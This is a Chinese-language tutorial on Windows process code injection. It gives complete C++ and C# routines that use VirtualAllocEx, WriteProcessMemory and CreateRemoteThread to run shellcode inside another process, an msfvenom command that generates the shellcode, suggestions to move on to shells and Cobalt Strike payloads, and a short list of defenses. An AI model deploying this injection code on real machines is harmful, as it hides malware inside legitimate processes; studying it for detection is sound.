初探代码注入
字数 1038 2025-08-26 22:11:45
Windows代码注入技术详解
0x01 代码注入概述
代码注入是一种在单独进程的地址空间中执行任意代码的方法,广泛应用于APT攻击、木马和病毒等恶意软件中。其核心优势在于隐蔽性——通过将代码注入到合法进程中运行,可以避免创建独立进程从而降低被发现的风险。
0x02 关键API函数
1. OpenProcess
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 请求的访问权限
BOOL bInheritHandle, // 是否继承句柄
DWORD dwProcessId // 目标进程ID
);
作用:获取目标进程的句柄,为后续操作做准备。
2. VirtualAllocEx
LPVOID VirtualAllocEx(
HANDLE hProcess, // 目标进程句柄
LPVOID lpAddress, // 指定分配地址(通常为NULL)
SIZE_T dwSize, // 分配内存大小
DWORD flAllocationType, // 分配类型
DWORD flProtect // 内存保护属性
);
常用参数:
- flAllocationType: MEM_RESERVE | MEM_COMMIT
- flProtect: PAGE_EXECUTE_READWRITE
3. WriteProcessMemory
BOOL WriteProcessMemory(
HANDLE hProcess, // 目标进程句柄
LPVOID lpBaseAddress, // 写入地址
LPCVOID lpBuffer, // 数据缓冲区
SIZE_T nSize, // 写入大小
SIZE_T* lpNumberOfBytesWritten // 实际写入字节数
);
注意:目标内存区域必须可写。
4. CreateRemoteThread
HANDLE CreateRemoteThread(
HANDLE hProcess, // 目标进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性
SIZE_T dwStackSize, // 堆栈大小
LPTHREAD_START_ROUTINE lpStartAddress, // 线程函数地址
LPVOID lpParameter, // 线程参数
DWORD dwCreationFlags, // 创建标志
LPDWORD lpThreadId // 线程ID输出
);
关键点:通过此函数在目标进程中创建新线程执行注入代码。
0x03 注入流程
- 选择目标进程:通常选择稳定运行的进程如explorer.exe、notepad.exe等
- 获取进程句柄:使用OpenProcess获取PROCESS_ALL_ACCESS权限
- 分配内存:在目标进程中使用VirtualAllocEx分配可执行内存
- 写入shellcode:使用WriteProcessMemory将代码写入目标进程
- 创建远程线程:通过CreateRemoteThread执行注入代码
- 清理资源:关闭句柄等资源
0x04 C++实现示例
VOID injectShellcode(DWORD dwPID) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
if (hProcess == INVALID_HANDLE_VALUE) {
cerr << "获取远程进程句柄失败" << endl;
return;
}
// 分配内存
LPVOID lpRemoteMem = VirtualAllocEx(hProcess, nullptr, 1024,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (!lpRemoteMem) {
cerr << "远程进程中分配内存失败" << endl;
CloseHandle(hProcess);
return;
}
// 写入shellcode
SIZE_T payloadSize = sizeof(popCalc64);
SIZE_T numBytes;
BOOL bWriteSuccess = WriteProcessMemory(hProcess, lpRemoteMem,
popCalc64, payloadSize,
&numBytes);
if (!bWriteSuccess) {
cerr << "shellcode写入失败" << endl;
CloseHandle(hProcess);
return;
}
// 创建远程线程
DWORD dwThreadId;
HANDLE hRemoteThread = CreateRemoteThread(hProcess, nullptr, 0,
(LPTHREAD_START_ROUTINE)lpRemoteMem,
nullptr, 0, &dwThreadId);
if (!hRemoteThread) {
cerr << "创建新线程失败" << endl;
CloseHandle(hProcess);
return;
}
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
}
0x05 C#实现示例
[DllImport("Kernel32", SetLastError = true)]
static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("Kernel32", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("Kernel32", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
[MarshalAs(UnmanagedType.AsAny)] object lpBuffer,
uint nSize, ref uint lpNumberOfBytesWritten);
[DllImport("Kernel32", SetLastError = true)]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress,
IntPtr lpParameter, uint dwCreationFlags,
ref uint lpThreadId);
public static void CodeInject(int pid, byte[] buf) {
try {
uint lpNumberOfBytesWritten = 0;
uint lpThreadId = 0;
// 获取进程句柄
IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)pid);
// 分配内存
IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)buf.Length,
(uint)MemAllocation.MEM_RESERVE |
(uint)MemAllocation.MEM_COMMIT,
(uint)MemProtect.PAGE_EXECUTE_READWRITE);
// 写入shellcode
if (WriteProcessMemory(pHandle, rMemAddress, buf, (uint)buf.Length,
ref lpNumberOfBytesWritten)) {
// 创建远程线程
IntPtr hRemoteThread = CreateRemoteThread(pHandle, IntPtr.Zero, 0,
rMemAddress, IntPtr.Zero,
0, ref lpThreadId);
CloseHandle(hRemoteThread);
}
CloseHandle(pHandle);
} catch (Exception ex) {
Console.WriteLine(ex.Message);
}
}
0x06 实际应用
1. 生成shellcode
使用MSF生成计算器shellcode:
msfvenom -p windows/x64/exec CMD=calc -b "\x00" -f c
2. 注入流程
- 选择目标进程(如记事本)
- 获取进程PID
- 分配内存并写入shellcode
- 创建远程线程执行
3. 进阶应用
- 获取shell而不仅是执行计算器
- 使用CS(Cobalt Strike)生成的shellcode
- 注入到更稳定的系统进程中
0x07 防御措施
- 进程监控:监控CreateRemoteThread等敏感API调用
- 内存保护:检测PAGE_EXECUTE_READWRITE属性的内存分配
- 行为分析:分析进程的异常行为
- 权限控制:限制非特权用户的进程操作权限
0x08 总结
代码注入技术通过将恶意代码注入合法进程执行,有效提高了隐蔽性。理解其原理不仅有助于安全研究,也能帮助防御者更好地检测和防范此类攻击。随着安全技术的发展,代码注入方法也在不断演进,需要持续关注最新的攻防技术动态。